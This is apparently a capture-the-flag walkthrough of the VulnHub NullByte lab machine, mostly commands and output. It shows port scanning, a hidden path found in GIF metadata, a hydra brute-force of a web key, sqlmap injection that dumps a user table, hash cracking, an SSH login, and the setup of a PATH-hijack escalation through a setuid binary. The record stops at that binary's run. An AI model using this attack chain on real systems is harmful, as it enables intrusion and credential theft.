

EXIFTOOL

HYDRA http

SQLMAP

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.10 ((Debian))

|_http-server-header: Apache/2.4.10 (Debian)

|_http-title: Null Byte 00 - level 1

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100024 1 35492/udp status

| 100024 1 43057/tcp status

| 100024 1 50177/tcp6 status

|_ 100024 1 53727/udp6 status

777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)

| ssh-hostkey:

| 1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)

| 2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)

| 256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)

|_ 256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)

MAC Address: 00:0C:29:3F:24:6A (VMware)

root@kali:/home/kali/Desktop/vulnhub/nullbyte# gobuster dir -u http://192.168.2.95/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/uploads (Status: 301)

/javascript (Status: 301)

/phpmyadmin (Status: 301)

/server-status (Status: 403)

```
<html>

<head><title>Null Byte 00 - level 1</title></head>

<body>

<center>



<p> If you search for the laws of harmony, you will find knowledge. </p>

</center>

</body>

</html>
```

```
root@kali:/home/kali/Desktop/vulnhub/nullbyte# wget 192.168.2.95/main.gif
```

```
root@kali:/home/kali/Desktop/vulnhub/nullbyte# exiftool main.gif
```

```
ExifTool Version Number      : 11.94
```

```
File Name                    : main.gif
```

```
Directory                    : .
```

```
File Size                    : 16 kB
```

```
File Modification Date/Time   : 2015:08:01 12:39:30-04:00
```

```
File Access Date/Time        : 2020:04:27 10:12:30-04:00
```

```
File Inode Change Date/Time   : 2020:04:27 10:12:30-04:00
```

```
File Permissions              : rw-r--r--
```

```
File Type                    : GIF
```

```
File Type Extension           : gif
```

```
MIME Type                    : image/gif
```

```
GIF Version                   : 89a
```

```
Image Width                   : 235
```

```
Image Height                  : 302
```

```
Has Color Map                 : No
```

```
Color Resolution Depth        : 8
```

Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
Megapixels : 0.071

<http://192.168.2.95/kzMb5nVYJw/>

```
root@kali:/home/kali/Desktop/vulnhub/nullbyte# hydra -l "" -P /usr/share/wordlists/rockyou.txt 192.168.2.95 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
```

```
[80][http-post-form] host: 192.168.2.95 password: elite
```

```
root@kali:/home/kali/Desktop/vulnhub/nullbyte# sqlmap -u  
http://192.168.2.95/kzMb5nVYJw/420search.php?usrtosearch=test --dbs
```

```
[*] information_schema
```

```
[*] mysql
```

```
[*] performance_schema
```

```
[*] phpmyadmin
```

```
[*] seth
```

```
root@kali:/home/kali/Desktop/vulnhub/nullbyte# sqlmap -u  
http://192.168.2.95/kzMb5nVYJw/420search.php?usrtosearch=test -D seth --tables
```

```
[1 table]
```

```
+-----+
```

```
| users | root@kali:/home/kali/Desktop/vulnhub/nullbyte# sqlmap -u  
http://192.168.2.95/kzMb5nVYJw/420search.php?usrtosearch=test -D seth -T users --dump
```

```
| id | pass | user | position |
```

```
+---+-----+-----+-----+
```

```
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
```

```
| 2 | --not allowed-- | isis | employee |
```

<https://www.base64decode.org/>

c6d6bd7ebf806f43c76acc3681703b81

<https://crackstation.net/>

omega

```
root@kali:/home/kali/Desktop/vulnhub/nullbyte# ssh ramses@192.168.2.95 -p 777
```

```
ramses@NullByte:~$ cat .bash_history
```

```
sudo -s
```

```
su eric
```

```
exit
```

```
ls
```

```
clear
```

```
cd /var/www
```

```
cd backup/
```

```
ls
```

```
./procwatch
```

```
clear
```

```
sudo -s
```

```
cd /
```

```
ls
```

```
exit
```

```
ramses@NullByte:/var/www/backup$ ls -la
```

```
total 20
```

```
drwxrwxrwx 2 root root 4096 Aug  2 2015 .
```

```
drwxr-xr-x 4 root root 4096 Aug  2 2015 ..
```

```
-rwsr-xr-x 1 root root 4932 Aug  2 2015 procwatch
```

```
-rw-r--r-- 1 root root  28 Aug  2 2015 readme.txt
```

```
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
```

```
ramses@NullByte:/var/www/backup$
```

```
ramses@NullByte:/var/www/backup$ ./procwatch
```